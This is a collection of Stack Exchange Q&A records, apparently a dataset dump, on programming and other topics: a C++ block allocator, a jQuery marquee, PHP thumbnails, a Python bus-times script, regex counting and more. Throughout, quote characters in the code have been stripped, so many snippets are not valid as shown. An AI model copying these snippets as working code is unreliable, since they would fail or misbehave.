{  "id": "_codereview.82869"  , "question": "I have written a fixed-size block allocator implementation and would like some feedback as to what I could improve in my code and coding practices. Your comments or notes are welcomed!An auxiliary allocator (non-typed, instead unique for the given size of a chunk; without necessary interface for STL containers):#include <iostream>#include <list>#include <vector>template <size_t ChunkSize>class TFixedAllocator {    union TNode { // union        char data[ChunkSize];        TNode *next; // free chunks of memory form a stack; pointer to the next (or nullptr)    };    TNode *free; // the topmost free chunk of memory (or nullptr)    std::vector<TNode*> pools; // all allocated pools of memory    int size = 1; // size of the last allocated pool of memory    const int MAX_SIZE = 1024;    void new_pool() { // allocate new pool of memory        if (size < MAX_SIZE) {            size *= 2;        }        free = new TNode[size];        // form a stack of chunks of this pool        pools.push_back(free);        for (int i = 0; i < size; ++i) {            free[i].next = &free[i+1];        }        free[size-1].next = nullptr;    }    TFixedAllocator() { // private for singleton        new_pool();    }public:    TFixedAllocator(const TFixedAllocator&) = delete; // for singleton    static TFixedAllocator& instance () { // singleton        static TFixedAllocator instance;        return instance;    }    void* allocate() {        if (!free) {            new_pool();        }        TNode* result = free; // allocate the topmost element (saved in free)        free = free->next; // and pop it from the stack of free chunks        return static_cast<void*>(result);    }    void deallocate(void* elem) {        TNode* node = static_cast<TNode*>(elem);        // add to the stack of chunks        node->next = free;        free = node;    }    ~TFixedAllocator() {        for (auto ptr : pools) {            delete ptr;        }    }};An allocator wrapper for STL containers:template <class T>class TFSBAllocator {public:    using value_type = T;    using pointer = T*;    using const_pointer = const T*;    using reference = T&;    using const_reference = const T&;    template <class U>    class rebind {    public:        using other = TFSBAllocator<U>;    };    pointer allocate(size_t n) {        if (n == 1) {            return static_cast<T*>(TFixedAllocator<sizeof(T)>::instance().allocate());        } else {            return std::allocator<T>().allocate(n);        }    }    void deallocate(pointer p, size_t n) {        if (n == 1) {            TFixedAllocator<sizeof(T)>::instance().deallocate(static_cast<void*>(p));        } else {            return std::allocator<T>().deallocate(p, n);        }    }    void construct(pointer p, const_reference t) {        new (p) T(t);    }    void destroy(pointer p) {        p->~T();    }};A tester:#include <chrono>using namespace std::chrono;template <class List>void test(std::string comment, List l) {    std::cout << comment;    auto start_time = high_resolution_clock::now();    for (int i = 0; i < 1e7; ++i) {        l.push_back(i);    }    auto end_time = high_resolution_clock::now();    std::cout << duration_cast<milliseconds>(end_time - start_time).count() << ms << std::endl;}int main() {    // CodeBlocks 12.13, Release mode    test(std::allocator: , std::list<int>()); // std::allocator: 1816ms    test( TFSBAllocator: , std::list<int, TFSBAllocator<int>>()); // TFSBAllocator: 204ms}By the way, what is about thread-safety?"  , "title": "Fixed-size block allocator"  , "tags": "c++;memory management;stl"  , "accepted_answer": "About thread safety: it is not thread safe. There is nothing that prevents member-functions such as  TFixedAllocator::allocate,  TFixedAllocator::new_pool and others to be executed by multiple threads at the same time.  Inside these functions several variables are modified. Modifying them from multiple threads without synchronization is an undefined behavior according to the C++ standard. How to fix it? The easiest way to do it is to use one std::mutex for the allocate and deallocate member-functions of the TFixedAllocator class(acquiring it in the very beginning of the function and releasing it in the very end). It is convenient to use an std::lock_guard for this purpose. Something like this:template <size_t ChunkSize>class TFixedAllocator {    ...    std::mutex allocator_mutex;public:    ...    void* allocate() {        std::lock_guard<std::mutex> allocator_lock_guard(allocator_mutex);        if (!free) {            new_pool();        }        TNode* result = free; // allocate the topmost element (saved in free)        free = free->next; // and pop it from the stack of free chunks        return static_cast<void*>(result);    }    void deallocate(void* elem) {        std::lock_guard<std::mutex> allocator_lock_guard(allocator_mutex);        TNode* node = static_cast<TNode*>(elem);        // add to the stack of chunks        node->next = free;        free = node;    }};Functions and variables naming: it is conventional to name functions with a verb(to describe an action). I would use get_instance instead of instance and create_new_pool instead of new_pool, for example. You TFixedAllocator class violates the single responsibility principle. Despite managing memory allocation(which is its main responsibility) it also implicitly implements some data structure(a stack?(I mean things related to the union TNode, the free pointer and so on)). It makes the code rather hard to follow: those operations with free and next pointers are not easy to understand(it is not clear why they are performed in the first place). There are two ways to fix it: Create a separate class that implements this data structure.Use a standard container. If what you need is a stack, std::stack is a good option(again, I'm not completely sure if it is feasible because I do not fully understand how this data structure is used in your code).Writing useless comments is definitely a bad practice. For instance, union TNode { // union doesn't make much sense: it is absolutely clear that it is a union without any comments. I'd recommend simply deleting comments like this one. Comments inside a function that tell what a block of code does, like here:void deallocate(void* elem) {    TNode* node = static_cast<TNode*>(elem);    // add to the stack of chunks    node->next = free;    free = node;}usually indicate that this block of code should have been a separate function(in this case, as I have mentioned before, there should probably be another class that implements this data structure). In general, you should try to write self-documenting code. Spacing and indentation: separating different functions with an empty line makes the code more readable. "  } 
{  "id": "_datascience.15152"  , "question": "Say you have an organization that requires employees to participate in a Q&A site similar to StackOverflow - questions and answers are voted upon, selected answers get extra points, certain behaviors boost your score etc.  What we need to do is assign a rating from 1-100 to these users with even distribution.The behaviors that add points:Ask a question [fixed]Answer a question [fixed]Receive an upvote on a question [determined by relative ranking]Receive an upvote on an answer [determined by relative ranking]Have your answer selected [determined by relative ranking]Responding to a comment, etc [fixed]Likewise, there are behaviors that subtract points.If a user with a high ranking upvotes a question asked by a lower-ranking user, more points should be awarded than the inverse situation.  Likewise if a lower-ranking user downvotes a higher-ranking user's question, the impact should be minimal compared to the inverse.  There should be a limit to this impact though so that a high-ranking user doesn't unintentionally destroy any momentum of a low-ranking user by issuing a powerful downvote.We have a few challenges here: How do we determine how many points to assign to each type of behavior, with actor/recipient relative rank taken into account?I'm thinking we just assign a flat number to each behavior, that number decided relative to the importance of the other behaviors, and then have a variable score that can alter the score if there is a wide variance between the users.  The mechanics of this - does the score double at most? - are unclear.How to we assign this rank? This one is a little easier - I'm thinking we just order the users according to score and then split the dataset into 100 sections, assigning each chunk a number 1-100.Should we be worried about these numbers getting very big?  The scenario described above has been trivialized; actions taken by these users may happen hundreds of times per day so the scores can become very high, very quickly. Is there a way we can keep this under control while avoiding a large number of duplicate scores?How do we define the fixed scores as the total scores become very big?  Over time we may have users with hundreds of thousands of points - but the fixed-score behaviors should still reward them.  They should reward lower-ranking users more than higher-ranking users.I don't know if there are some standard practices, algorithms, or terminologies that I should be aware of when facing a problem like this - any input would be appreciated."  , "title": "Methods / Algorithms for rank scales based on cumulative scoring"  , "tags": "data mining;statistics;algorithms;distribution"  , "accepted_answer": "To solve challenges #3 and #4, let's limit the overall available rank volume. For example, sum of this rank for all the users will be 1 (100%).From challenge #2 I understood, that you accept 2 different ranks: (1) place from 1 to 100, and (2) simple sum of all earned points (fixed and relative). Did I got it right? I so, there is no need to worry about unlimited growth, or fixed scores inflation. Let's just use percentages, not 1-100 ranks.These percentage ranks could be calculated based on interaction behaviors (vote/selecting answer/etc), using PageRank-like algorithm. Such algorithm will consider all previous reactions (and ranks of acted users), obtained by an exact user. Unfortunately, you cannot use PageRank algorithm as is, because it supports only positive links, but you can look for it's extensions. For example, look at this paper with PageRank extension  for both positive and negative links (as users can down vote). You can iteratively estimate percentage rank (TrustRank, TR) using this algorithm.The second task is to calculate reward/penalty rate in points for each single action. Let's determine (predefine) maximal reward/penalty rate (X) for each type of action. And will use coefficient to discount it, based on TrustRanks of acting users (e.g., author and voter). Slightly modified Sigmoid will map this ratio from [-Inf,+Inf] range to [0,1]. Here for peer users you will have ~0.5 of predefined maximal rate. If voter has TR twice more than author, author will recieve ~0.75 of predefined value, and so on. You can tune steepness with additional parameter, or try to find any other mapping transformation function.Anyway, now simply multiply maximal penalty/reward by this coefficient, and you'll get the number of point, you need to deduct or add. The only issue, I see, is a user with zero TR - such user as a voter will give nothing, and as an object of voting, will recieve the maximal amount of points regardless voter's rank. To avoid this, you can predefine minimal TR (like 1e-10), and don't let user's TR to fall beyond this value."  } 
{  "id": "_codereview.30179"  , "question": "I would like to get some feedback on my AS3 code below. It's for an Adobe Air mobile app to preload a website in a StageWebView container.That container will be moved on screen later in the app process. My goal is to show the website content to the user as fast as possible.// OFF SCREEN - PRELOADvar webView:StageWebView = new StageWebView();webView.stage = this.stage;webView.viewPort = new Rectangle( -5000, 0, stage.stageWidth, stage.stageHeight);webView.loadURL(http://www.example.com/foobar.php);// ONSCREENfunction showWeb(e:Event=null){webView.viewPort = new Rectangle( 0, 0, stage.stageWidth, stage.stageHeight);}btn.addEventListener(MouseEvent.CLICK,  showWeb)Is there something I could do better?I'm using Adobe Air 3.6 and Flash CS6.Thank yoo"  , "title": "Preload content in StageWebView"  , "tags": "actionscript 3"  } 
{  "id": "_webapps.19904"  , "question": "How do Google Plus Photos, and Picasa relate to each other? Are they different names for the same thing? Or different interfaces to the same photo albums?http://picasaweb.google.com/ looks quite different than https://plus.google.com/${my account id}/photos, but they show the same photo albums, thus the question."  , "title": "How does Picasa relate to Google Plus Photos?"  , "tags": "google plus photos;picasa web albums"  , "accepted_answer": "These are the services/products provided by Google, both are completely different, it is just that they are linked with your common Google ID which you can use for any Google services: Google Docs, Translate, Blogger, Orkut, etc. To see more Click Here. So the photos you upload to Google Plus actually gets saved in Picasa. In short your account is linked with different Google services."  } 
{  "id": "_computergraphics.1945"  , "question": "In a ray tracer, given a point on a sphere (point_of_intersection with a ray) and its normal for that point (point_of_intersection - center_of_sphere) how do I calculate the tangent space for that point? Do I need other data to calculate the tangent space?"  , "title": "Ray tracing - tangent space for a point on a sphere"  , "tags": "raytracing;maths"  , "accepted_answer": "The tangent space is spanned by the tangent to the point and the bitangent (which is orthogonal to both tangent and normal).So you need to calculate the tangent which is achieved by calculating the cross-product of the ray-direction and the normal. $T = N \\times DIR$The resulting vector will be orthogonal to the normal and thereby be the tangent.Now calculate the cross-product of the tangent and the normal $BT = T \\times N$ to create a vector orthogonal to both. This vector is the bitangent.Tangent $T$ and bitangent $BT$ span a plane which is the tangent-space of your intersection-point."  } 
{  "id": "_webmaster.13802"  , "question": "More and more browsers support SVG. Is the text in SVG selectable / copy'able?"  , "title": "Is text in SVG selectable/copyable in browsers?"  , "tags": "browser support"  , "accepted_answer": "YesThat's right, you can select and copy text right out of an SVG! The SVG does not store the text and letters as shapes, but by their meaning. Given a good SVG viewer or SVG-capable browser, you can select and copy text as you would in a normal document. Note that this will not work with all SVGs: Since the exact font (the looks) of a text is often important, and not everyonehas every font installed, some SVG artists convert the letters into shapes. This keeps their appearance, but loses the meaning, so a viewer no longer knows what letters the shapes represent.From the W3CIn many viewing scenarios, the user will be able to search for and select text strings and copy selected text strings to the system clipboard "  } 
{  "id": "_cogsci.9929"  , "question": "There is a problem in all therapies that if the client doesn't have faith or trust in the therapist then it is unlikely that anything can be achieved.  Therefore effective therapy for an extreme skeptic relies on convincing them that the therapist does indeed have some talent and ability.Consider a profile that has something akin to the following views on common therapies:When looking at psychotherapy and therapists the list of different types seems endless.  On the one end, Freudian or Psychoanalysis is widely discredited quakery.  Carl Jung believed in synchronicity, which puts him firmly in the quack bin.  Plenty of other therapist start talking spirituality and so again, sadly are filed under not proper scientific medicine.If someone has the above attitude to therapy and psychotherapy, what sort of therapist is going to be most credible?  We are talking about finding a credible therapy for someone who would self describe as a skeptic, atheist, scientist, etc."  , "title": "Which schools of psychotherapy are most credible to a hard scientist?"  , "tags": "clinical psychology;psychoanalysis"  , "accepted_answer": "For several reasons, Cognitive Behavioral Therapy (CBT) should have a good fit for someone who has a skeptic and scientific outlook on life. There is a large body of research showing that CBT is effective (see e.g., Hofmann et al. 2012). Obviously, this also depends on the kind of disorder. And of course, other forms of therapy can be effective too. However, for some disorders, CBT may be more effective than other therapies. For example, in a recent randomized trial, CBT was more effective in treating Bulimia Nervosa (Poulson et al., 2014) than psychoanalytic therapy (the other main form of psychotherapy). By and large, most empirical evidence we have about psychotherapy regards CBT. Despite your premise that the question is not about effectiveness, I believe that a skeptic would love that.CBT is informed by and has inspired much basic research about the cognitive processes that may underlie different disorders. For example, there is much research about attentional processes in affective disorders (e.g., MacLeod et al., 2002). A skeptic should value this.Another way to frame this is to say that CBT is scientific in the sense that it is based on testable theories and disorder models. In contrast many concepts in psychoanalysis, such as resistance or repression may be criticized as unfalsifiable (Popper, 1963). Again, a skeptic should prefer a more scientific therapy form.A core technique in CBT is to question wrong beliefs and assumptions. CBT has a very rational, thought-focused way of explaining an dealing with problems (some say overly). A central tenet of CBT is that people often hold wrong (self-defeating) beliefs about the world and that they engage in schematic thought processes (e.g. someone who has social phobia may have catastrophizing thoughts about how others might react to him in public and therefore avoid such situations). Questioning such beliefs should be right up a skeptic's alley.Conducting behavioral experiments to collect evidence about oneself is an important therapeutic tool in CBT (e.g., Brennet-Levy et al. 2004). Whereas psychoanalytical approaches strongly rely on the interpretation of clients' (unconscious) conflicts, CBT encourages people to collect data about their thoughts and behaviors and to conduct experiments that clarify important questions about themselves. Skeptics should love this facts-driven approach.Whereas psychoanalytic therapies are focused on trying to solve core, unconscious intrapersonal conflicts (brought from the past) in (mostly) long therapies, CBT is problem- and behavior-focused and short. A skeptic should like this pragmatism of CBT.Even though your question highlights the role of the therapist, this is actually not an important feature of CBT. CBT relies on structured therapeutic manuals, and not so much on talent or personality of the therapist. In fact, CBT may be effective if conducted via the internet (Andersson et al., 2009), or even in the form of self-help books (Anderson et al., 2005). A skeptic should value that CBT is focused on technique and not on the therapist.ReferencesAndersson, G. (2009). Using the Internet to provide cognitive behaviour therapy. Behaviour Research and Therapy, 47, 175180. doi:10.1016/j.brat.2009.01.010Anderson, L., Lewis, G., Araya, R., Elgie, R., Harrison, G., Proudfoot, J., et al. (2005). Self-help books for depression: how can practitioners and patients make the right choice. British Journal of General Practice, 55, 387-392.Bennett-Levy, J., Butler, G., Fennell, M., Hackmann, A., Mueller, M., Westbrook, D., & Rouf, K. (2004). Oxford Guide to Behavioural Experiments in Cognitive Therapy. Cognitive Behaviour Therapy: Science and Practice.Hofmann, S. G., Asnaani, A., Vonk, I. J. J., Sawyer, A. T., & Fang, A. (2012). The Efficacy of Cognitive Behavioral Therapy: A Review of Meta-analyses. Cognitive therapy and research, 36, 427440. doi:10.1007/s10608-012-9476-1MacLeod, C., Rutherford, E., Campbell, L., Ebsworthy, G., & Holker, L. (2002). Selective attention and emotional vulnerability: assessing the causal basis of their association through the experimental manipulation of attentional bias. Journal of Abnormal Psychology, 111, 107123.Popper, K.R. (1963). Conjectures and Refutations. London: Routledge and Kegan Paul.Poulsen, S., Lunn, S., Daniel, S. I. F., Folke, S., Mathiesen, B. B., Katznelson, H., & Fairburn, C. G. (2014). A Randomized Controlled Trial of Psychoanalytic Psychotherapy or Cognitive-Behavioral Therapy for Bulimia Nervosa. American Journal of Psychiatry, 171, 109116. doi:10.1176/appi.ajp.2013.12121511"  } 
{  "id": "_softwareengineering.114346"  , "question": "I need a tool (for in house usage) that will format SQL code (SQL Server/MySQL).There are various 3rd party tools and online web sites that do it but no exactly how I need it.So I want to write my own tool that will fit my needs. First question is there any standard or a convention for how the SQL code should be formatted? (the tools that I tried format it differently)The second question, how should I approach this task? Should at first convert the sql query into some data structure like a Tree? "  , "title": "Algorithm for formating SQL code"  , "tags": "sql;code formatting;parsing"  } 
{  "id": "_codereview.67530"  , "question": "I've a code which applies marquee to certain elements by using the requestAnimFrame method. However, when I test my application on a lower spec PC (Intel Celeron 2.13GHz dou core) the CPU usage is skyrocketing and gets to a minimum of around 80%! (I have to mentioned that I have 2 elements that the custom maruqee is applied to). Also, there are cases where even 3 or 4 elements are being targeted by the marquee. There is also a case in my application, not so common, that there is another animation that scrolls text from the right to the left.My development environment is a lot different, I'm using a 3.8GHz 8-cores CPU with a strong GPU so my CPU usage is no more than 11%. I'm not sure if it matters but locally I'm using xampp and on the tested PC I've been using wamp.The code for my marquee is splitted into few functions:/** * Applies the marquee function to the elements who are overflowing */function tryMarquee(/**/) {    var args = arguments;    for(var i=0; i<args.length; i++) {        var elem = $(args[i]);        var containerHeight = elem.outerHeight(true);        var contentHeight = calculateContentHeight(elem);        // extract args        var settings = $('.marqueeSettings');        var speed = settings.find('input[data-target='+args[i]+']input[name=marqueeSpeed]').val() || 1;        var spacer = settings.find('input[data-target='+args[i]+']input[name=marqueeSpacer]').val() == 1;        var spacerHeight = settings.find('input[data-target='+args[i]+']input[name=marqueeSpacerHeight]').val() || 60;        if(contentHeight > containerHeight && containerHeight > 10) {            marquee(args[i], speed, spacer, spacerHeight);        }    }}/** * Calculates the content height of an element by it's children's height * @param elem * @returns {number} */function calculateContentHeight(elem) {    var total = 0;    elem.children().not('.clone').each(function() {        if(parseInt($(this).css('margin-top')) >= 0)            total += $(this).height() + parseInt($(this).css('margin-top'));        else            total += $(this).height();    });    total -= 10;    return total;}/** * Generates a spacer. * @param marginTop * @param height * @returns {*|jQuery|HTMLElement} */function generateSpacer(marginTop, height) {    var spacer = $('<div class=marquee-spacer clone style=margin-top: '+marginTop+'px;></div>');    height = height || 60;    spacer.css({        height: height    });    return spacer;}/** * returns a clone of an element's children * @param elem * @returns {*|jQuery|HTMLElement} */function duplicateContent(elem) {    return elem.children().clone().addClass('clone');}/** * Checks the prayers element still needs the marquee. * @returns {boolean} */function keepPrayersMaruqee() {    var containerHeight = elem.outerHeight(true);    var contentHeight = calculateContentHeight(prayers);    return contentHeight > containerHeight;}These functions are only triggered once so I'm not sure if it has something to do when the application is fully loaded and already running.function marquee(className, scrollAmount, spacer, spacerHeight) {    // parse spacer    spacer = spacer || false;    // select the elements    var elemSet = $(className);    // loop through the element set    elemSet.each(function() {        var $this = $(this);        $this.addClass('marquee');        /**         *  TODO: if the container is taller than the content we should clone the content so there's no gap in the loop         */        var initialMargin = parseInt($this.find(div).first().css('margin-top'));        if(spacer)            $this.append(generateSpacer($this, initialMargin, spacerHeight));        $this.append(duplicateContent($this));        (function loop(){            /**             *  This block of code is only executed on a certain element so check if it still needs to be scrolled             *  because there is a possibility that the element's children will be removed dynamically.             */            if($this.hasClass('prayers'))                if( ! keepPrayersMaruqee()) {                    // remove clone elements                    $this.children('.clone').remove();                    // cancel the maruqee                    return;                }            var first = $this.find(div).first();            var top = parseInt(first.css('margin-top'));            var height = first.outerHeight();            if ((height+top) > 0){                first.css('margin-top','-='+scrollAmount);            } else {                first.appendTo($this);                first.css('margin-top',initialMargin);            }            /**             * repeat the animation             * @see window.requestAnimFrame             */            requestAnimFrame(loop);        })();    });}A working fiddleThis is where the magic happens. I was trying to make this code as efficient as possible. Any suggestion on how I can actually improve this code and make it consume much less CPU power?"  , "title": "Custom marquee consumes a lot of CPU power"  , "tags": "javascript;optimization;jquery;animation"  , "accepted_answer": "Profiling in Opera suggests that it is mainly the time taken to draw the text which is consuming CPU (I do this in Opera simply because Opera is the only browser I know of that has a comprehensive profiler which profiles all aspects of page generation). Rendering fonts is one of the slowest things a web browser can do, and it appears that the browser re-renders the text on each frame, and that is basically what is consuming the cpu like crazy. And it appears that regardless of what mechanism is used to scroll the text the repaint is triggered.Some fonts are more work to render than others and you'd benefit from a font which is quick to render, unfortunately I don't know if As an experiment I tried putting a (large) image in the marquee and the CPU usage is much less when scrolling an image. This makes sense because it's a lot less work for a computer to blit an image than to render fonts. Hence one option would be to marquee an image of text instead of text. I know this isn't really a good solution for a lot of reasons, but it would be fast.The other solution is a really obvious and simple one - reduce the number of frames rendered per second. At the moment your code runs at 60fps which is way higher than is really needed. Actually, at a reasonable text scrolling rate for human reading speed, you could get away with 20fps or maybe even 10fps.At the moment you use a constant scroll amount per frame. This is not a good way to do it. Instead you should use a constant scroll rate per unit time, meaning the text scrolls at the same rate even if the browser chooses to render fewer than 60fps. Essentially what you need to do is calculate the elapsed time since the last frame, and use that to determine how far to scroll. The callback for requestAnimationFrame is passed the current time (in milliseconds) so this is quite easy, here is a minimalistic example:function gogogo(scrollRatePerSecond, frame_skip) {    var lastFrameTime = null,        i = 0;    function loop(now) {        var delta = lastFrameTime ? now - lastFrameTime : 0;        if (++i % (frame_skip + 1) == 0) {            lastFrameTime = now;            var scrollAmount = delta * scrollRatePerSecond / 1000;            // Do something with scrollAmount        }        requestAnimationFrame(loop);    }    requestAnimationFrame(loop);}In that code I've also added a frameskip option, which means 'skip this many frames for each one rendered'. You can set the rate per second to get the desired speed, and then adjust frameskip to get the desired performance."  } 
{  "id": "_softwareengineering.177235"  , "question": "This may be a very simple question. I'm curious how blocking calls are implemented. Specifically, how do they block? Is this just thread.sleep?"  , "title": "How are blocking calls implemented?"  , "tags": ".net"  , "accepted_answer": "Specifically, I was implementing a socket class in C# and one of the  .Net socket methods blocks until data is received. I was just curious  how that works.There are several ways to implement a blocking call.  The obvious way to do it is to return when the work is done See Robert Harvey's Answer.In the case where there is no work to be done (e.g., waiting for a signal or for input), there are several choices:Spinlock.  Basically, code like while(signal not found){}.  Spinlocks have almost no overhead and return faster than other methods, but burn CPU until they return.  They are useful if the signal you are waiting for is going to return fast or if giving up a timeslice is to be avoided, but are generally a bad idea in high-level code.Locks, Mutexes, etc.  In C#, these are accessed with things like lock(obj){} (cause other threads to block) and ManualResetEvent (block until another thread signals).  Generally, there are implemented at the kernel or hardware level.  E.g., C# lock is implemented on x86 machines using the assembly lock cmpxchg assembly instruction (see Junfeng Zhang's blog)."  } 
{  "id": "_codereview.58169"  , "question": "I need to make thumbnails without empty space and in the original ratio. Please help me check this algorithm to improve it.public function createThumbnail($imagePath, $thumbnailPath, $targetWidth, $targetHeight){    list( $originalWidth, $originalHeight, $originalType ) = getimagesize($imagePath);    $targetRatio = $targetWidth / $targetHeight;    $originalRatio = $originalWidth / $originalHeight;    if ( $originalRatio >= $targetRatio ) {        if ( $originalRatio >= 1 ) {            $sourceWidth = $originalHeight * $targetRatio;            $sourceHeight = $originalHeight;            $sourceX = ( $originalWidth - $sourceWidth ) / 2;            $sourceY = 0;        } else {            $sourceWidth = $originalWidth / $originalRatio * $targetRatio;            $sourceHeight = $originalHeight;            $sourceX = ( $originalWidth - $sourceWidth ) / 2;            $sourceY = 0;        }    } else {        if ( $originalRatio >= 1 ) {            $sourceWidth = $originalWidth * $originalRatio / $targetRatio;            $sourceHeight = $originalHeight;            $sourceX = ( $originalWidth - $sourceWidth ) / 2;            $sourceY = 0;        } else {            $sourceWidth = $originalWidth;            $sourceHeight = $originalHeight * $originalRatio / $targetRatio;            $sourceX = 0;            $sourceY = ( $originalHeight - $sourceHeight ) / 2;        }    }    $originalImage = $this->imageCreateFromType( $originalType, $imagePath );    $thumbnailImage = imagecreatetruecolor( $targetWidth, $targetHeight );    imagecopyresampled( $thumbnailImage, $originalImage, 0, 0, $sourceX, $sourceY, $targetWidth, $targetHeight, $sourceWidth, $sourceHeight );    imagepng( $thumbnailImage, $thumbnailPath );}"  , "title": "Create thumbnail in the original ratio without empty space"  , "tags": "php;algorithm;image"  , "accepted_answer": "The first thing that's really needed are some comments describing the different conditions. Sure, you can work them out every time you read the code, but that's error-prone busy-work that you can avoid for future maintainers. You don't need to go crazy with ASCII graphics, though this is one case that might actually deserve them! :)Here's an example:if ( $originalRatio >= $targetRatio )    // original is more landscape    if ( $originalRatio >= 1 )        // original is landscape; shrink horizontally    else        // both are portrait; shrink horizontallyelse    // original is more portrait    if ( $originalRatio >= 1 )        // both are landscape; shrink vertically    else        // original is portrait; shrink verticallyNote: Assuming those comments are correct, your calculations in the third case are incorrect.As for the calculations themselves, it may be more intuitive to calculate the source width/height in each block and move the origin calculations below. It's certainly less code since you can easily calculate the origin from the size. And if you start the source width/height equal to the original values, you only need to set one dimension in each if block.$sourceWidth = $originalWidth;$sourceHeight = $originalHeight;... shrink $sourceWidth or $sourceHeight ...$sourceX = ($originalWidth - $sourceWidth) / 2;$sourceY = ($originalHeight - $sourceHeight) / 2;This relatively-small function (by procedural coding standards) is very difficult to test. Refactor it into several small functions so that each function does one thing:Read the original image size and type.Calculate the trimmed original size.Calculate the trimmed original origin.Read the original image from disk. (imageCreateFromType)Resize to a new image.Write new image to disk.1, 5, and 6 are single function calls to the GD library already, but I can see 4-6 making a nice scale disk image function together.public function createThumbnail($imagePath, $thumbnailPath, $targetWidth, $targetHeight) {    list ($originalWidth, $originalHeight, $originalType) = getimagesize($imagePath);    $trimmedSize = $this->calculateTrimmedSize(        $originalWidth, $originalHeight, $targetWidth, $targetHeight    );    $trimmedOrigin = $this->calculateTrimmedOrigin(        $originalWidth, $originalHeight, $trimmedSize    );    $this->scaleDiskImage(        $imagePath, $trimmedOrigin, $trimmedSize,         $thumbnailPath, $targetWidth, $targetHeight    );}I really don't like dealing with separate width, height, x, and y values and passing them around and would prefer to define Size and Point classes. If this function is the extent of the image manipulation, it's probably not worth the effort, small as it would be. But in larger applications they would clean up the code quite a bit.Here's the same code as if we had those classes plus a custom ImageInfo that encapsulates the path, size, and type.public function createThumbnail($imagePath, $thumbnailPath, $targetSize) {    $original = $this->getImageInfo($imagePath);    $trimmedSize = $this->calculateTrimmedSize(original->getSize(), $targetSize);    $trimmedOrigin = $this->calculateTrimmedOrigin(original->getSize(), $trimmedSize);    $this->scaleDiskImage($imagePath, $trimmedOrigin, $trimmedSize, $thumbnailPath, $targetSize);}"  } 
{  "id": "_codereview.135697"  , "question": "The code uses the XML-based OC Transpo data feed to create a list of the bus name, where it's headed, and the times. Keep in mind that I am a beginner at python so any advice at all is appreciated. import subprocess, pprintfrom bs4 import BeautifulSoupdef format_set(result_set):    new_set = []    for el in result_set:        new_set.append(str(el.get_text()))    return new_setdef get_stop_number():    print('Please enter your desired stop number (or \\'quit\\'):')    stop_numb = raw_input('> ')    try:        return int(stop_numb)    except:        print('Exiting...')        return 'quit'def get_stop_info(stopNo):    try:        output = subprocess.check_output(('curl -d appID=ba91e757&apiKey='            '&stopNo={}&format=xml https://api.octranspo1.com/v1.2/GetNextTripsForStopAllRoutes').format(stopNo), shell=True)        soup = BeautifulSoup(output, 'xml')    except:        print('An error occured!')        return None    summary = []    for el in soup.find_all('Route'):        routeNo = int(el.find('RouteNo').get_text())         routeHeading = str(el.find('RouteHeading').get_text())        times = format_set(el.find_all('TripStartTime'))        x = [routeNo, routeHeading, times]        summary.append(x)    return summarydef is_empty(any_structure):    if any_structure:        return False    else:        return Trueif __name__ == '__main__':    while True:        stop_number = get_stop_number()        if stop_number == 'quit':            break        summary = get_stop_info(stop_number)        pprint.pprint(summary)Sample output: Please enter your desired stop number (or 'quit'):> 3058  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                 Dload  Upload   Total   Spent    Left  Speed100  7756  100  7679  100    77   4654     46  0:00:01  0:00:01 --:--:--  4656[[92, 'St-Laurent', ['11:30', '12:00', '12:30']], [92, 'Stittsville', []], [96, 'St-Laurent', ['10:51', '11:21', '11:51']], [96, 'Terry Fox', ['10:09', '10:39', '11:09']], [118, 'Hurdman', ['11:20', '11:40', '12:00']], [118, 'Kanata', []], [162, 'Stittsville', ['11:55', '12:55', '13:55']], [162, 'Terry Fox', []], [168, 'Bridlewood', ['11:35', '12:05', '12:35']], [168, 'Terry Fox', []]]Please enter your desired stop number (or 'quit'):> quitExiting..."  , "title": "Parses XML to return the bus times at specified bus stop"  , "tags": "python;beginner;xml;beautifulsoup;curl"  } 
{  "id": "_unix.325387"  , "question": "I am using Apache Hive on RedHat. Hive version is 1.2.1. The current Timezone in Hive is EST and I want to convert it to GMT. Can someone please guide me on the same.PS: I want to change the Hive Server Timezone and I am not asking about using a particular function in Hive that can convert EST timezone to GMT timezone."  , "title": "How to change Hive Server Timezone"  , "tags": "apache hive"  } 
{  "id": "_codereview.165655"  , "question": "A string contains many patterns of the form 1(0+)1 where (0+) represents any non-empty consecutive sequence of 0's. The patterns are allowed to overlap.For example, consider string 1101001, we can see there are two consecutive sequences 1(0)1 and 1(00)1 which are of the form 1(0+)1.public class Solution {        static int patternCount(String s){            String[] sArray = s.split(1);            for(String str : sArray) {                if(Pattern.matches([0]+, str)) {                    count++;                }            }            return count;        }        public static void main(String[] args) {            int result = patternCount(1001010001);            System.out.println(result);//3        }    }Sample Input:100001abc101, 1001ab010abc01001, 1001010001Sample Output:2 2 3But still something i feel might fail in future could you please help me to optimize my code as per the Requirement"  , "title": "Count patterns that start and end with 1, with 0's in between"  , "tags": "java;strings;regex"  , "accepted_answer": "You can accomplish this by using positive look-behind in your regex and simply counting the number of matches.static int patternCount(String s) {   Pattern pattern = Pattern.compile((?<=1)[0]+(?=1));   Matcher  matcher = pattern.matcher(s);   int count = 0;   while (matcher.find()) {        count++;   }   return count;}"  } 
{  "id": "_softwareengineering.185018"  , "question": "I'm going through a MVC tutorial, and I notice that convention seems to be to expose a tables primary key on detail pages/urls (ie. /Movies/Details/5 as an example from the tutorial).It's obviously not a problem for things like a movie record or a SO post, but it might be a bit different for an invoice or transaction with confidential information on it if the key was sequential or guessable.So, is it just this tutorial or do MVC apps typically expose a tables primary key?  Is there a common library or pattern for hiding the key if you don't want to expose it?"  , "title": "MVC exposes database primary keys?"  , "tags": "mvc;asp.net mvc"  , "accepted_answer": "And that's why I think those tutorials simplify things to a degree that confuses the newcomer.Try to do a little tabula rasa and think the process from scratch, and decoupling the concepts.First of all, MVC is a presentation layer. It does not (or should not) even know what is backing it up. It could be a database, an xml file, a text file, an in-memory collection, whatever. It should be abstracted away.What does MVC understand? Receives an HTTP request, parses it using the route engine, resolves to the corresponding controller/action method and does whatever you write in the action method. End of the story.Do you ask for an id which, behind the scenes, corresponds to a database surrogate key? MVC doesn't know that. For it, it's just an int parameter of a method.It's entirely up to you how you decouple your logic and layers, how you retrieve data and check for security.Assume you get asked for Products/Detail/1. Is your action method under authentication (using the authorize attribute)? If so, are your products only visible to certain users?You'll pass to a business logic method the requested id along with the username, and that method will tell you here's your product or sorry, you cannot view this based on the logic inside. And heck, if you designed it well even the business logic method won't know if behind the scenes it used a database or anything else to retrieve the product.I hope this little explanation clarifies things a little. MVC is just about handling HTTP requests and returning a view or some json data or whatever you want to return to the users. Anything that backs it should be abstracted away and implemented as you see fit."  } 
